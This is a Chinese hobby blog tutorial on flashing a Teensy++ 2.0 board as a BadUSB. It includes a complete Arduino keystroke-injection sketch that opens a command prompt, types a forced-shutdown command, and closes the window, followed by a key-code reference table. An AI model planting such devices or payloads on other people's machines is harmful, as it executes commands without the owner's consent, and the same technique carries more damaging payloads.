用Teensy++2.0制作BadUSB

Teensy++2.0 就是这玩意,淘宝40+

imageimage.jpg762x421 91.4 KB

之前发过一篇类似的。。用Digispark制作一个简单的Badusb 但是那玩意有点坑。。Linux免驱,windows下不免驱好像。。。

这玩意就舒服很多了,亲测windows免驱。。


准备

安装好Arduino之后打开上卖弄的Teensyduino下载页面,下载Windows XP / 7 / 8 / 10 Installer运行

一路Next

在这里选择你Arduino IDE所在的目录

默认All不需要变动

代码

同样可以用这个工具把大黄鸭的代码变成Arduino的代码

这里直接上代码

#include "Keyboard.h"

/* Init function */
void setup()
{
  // Begining the Keyboard stream
  Keyboard.begin();

  // Wait 500ms
  delay(500);
  delay(3000);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();

  delay(500);

  Keyboard.print("cmd");

  delay(1000);

  Keyboard.press(KEY_RETURN);
  delay(50);
  Keyboard.release(KEY_RETURN);

  delay(1000);
  Keyboard.print("shutdown -s -t 100");
  Keyboard.press(KEY_RETURN);
  delay(50);
  Keyboard.release(KEY_RETURN);
  delay(700);
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press(KEY_F4);
  Keyboard.releaseAll();
  // Ending stream
  Keyboard.end();
}

/* Unused endless loop */
void loop() {}

可以猜出来部分函数的功能

delay() : 延迟
Keyboard.press() : 按下一个键
Keyboard.release() : 松开一个键
Keyboard.print() : 打印

上传

插入开发板

Arduino中开发板选择 Teensy++ 2.0

特别注意:USB Type要选择一个带Keyboard的,默认是Serial 没有键盘的功能

image

然后点击上传
image

这里会提示摁一下Teensy上面的按钮进入可编程模式

image

imageimage.png795x217 5.32 KB

就是板子的这个地方

image

摁一下之后窗口会有反应,reboot过后就写入完成了

Keyboard.h键值参考表

一,宏定义部分

【输入宏定义】

#define     KEY_LEFT_CTRL             0x80
#define     KEY_LEFT_SHIFT            0x81
#define     KEY_LEFT_ALT                0x82
#define     KEY_LEFT_GUI                0x83
#define     KEY_RIGHT_CTRL           0x84
#define     KEY_RIGHT_SHIFT          0x85
#define     KEY_RIGHT_ALT             0x86
#define     KEY_RIGHT_GUI             0x87
#define     KEY_UP_ARROW            0xDA
#define     KEY_DOWN_ARROW     0xD9
#define     KEY_LEFT_ARROW         0xD8
#define     KEY_RIGHT_ARROW      0xD7
#define     KEY_BACKSPACE           0xB2
#define     KEY_TAB                        0xB3
#define     KEY_RETURN                 0xB0
#define     KEY_ESC                        0xB1
#define     KEY_INSERT                   0xD1
#define     KEY_DELETE                   0xD4
#define     KEY_PAGE_UP                0xD3
#define     KEY_PAGE_DOWN         0xD6
#define      KEY_HOME                    0xD2
#define      KEY_END                       0xD5
#define      KEY_CAPS_LOCK           0xC1
#define      KEY_F1                          0xC2
#define     KEY_F2                          0xC3
#define     KEY_F3                          0xC4
#define     KEY_F4                          0xC5
#define     KEY_F5                          0xC6
#define     KEY_F6                          0xC7
#define     KEY_F7                          0xC8
#define     KEY_F8                          0xC9
#define     KEY_F9                          0xCA
#define     KEY_F10                        0xCB
#define     KEY_F11                         0xCC
#define     KEY_F12                        0xCD

二,ascii 码部分

【输入注释里的字符的ascii码】

0x2a,                  // BS    Backspace
0x2b,                  // TAB    Tab
0x28,                  // LF    Enter
0x2c,                  //  ' '
0x1e|SHIFT,       // !
0x34|SHIFT,       // "
0x20|SHIFT,       // #
0x21|SHIFT,       // $
0x22|SHIFT,       // %
0x24|SHIFT,       // &
0x34,                 // '
0x26|SHIFT,       // (
0x27|SHIFT,       // )
0x25|SHIFT,       // *
0x2e|SHIFT,       // +
0x36,                 // ,
0x2d,                // -
0x37,                // .
0x38,                // /
0x27,                // 0
0x1e,                // 1
0x1f,                 // 2
0x20,                // 3
0x21,                // 4
0x22,                // 5
0x23,                // 6
0x24,                // 7
0x25,                // 8

*转载请注明来自AresX’s Blog

本博客采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议(CC BY-NC-SA 4.0) 发布.转载请注明出处
本文链接:https://ares-x.com/2018/01/18/用Teensy-2-0制作BadUSB/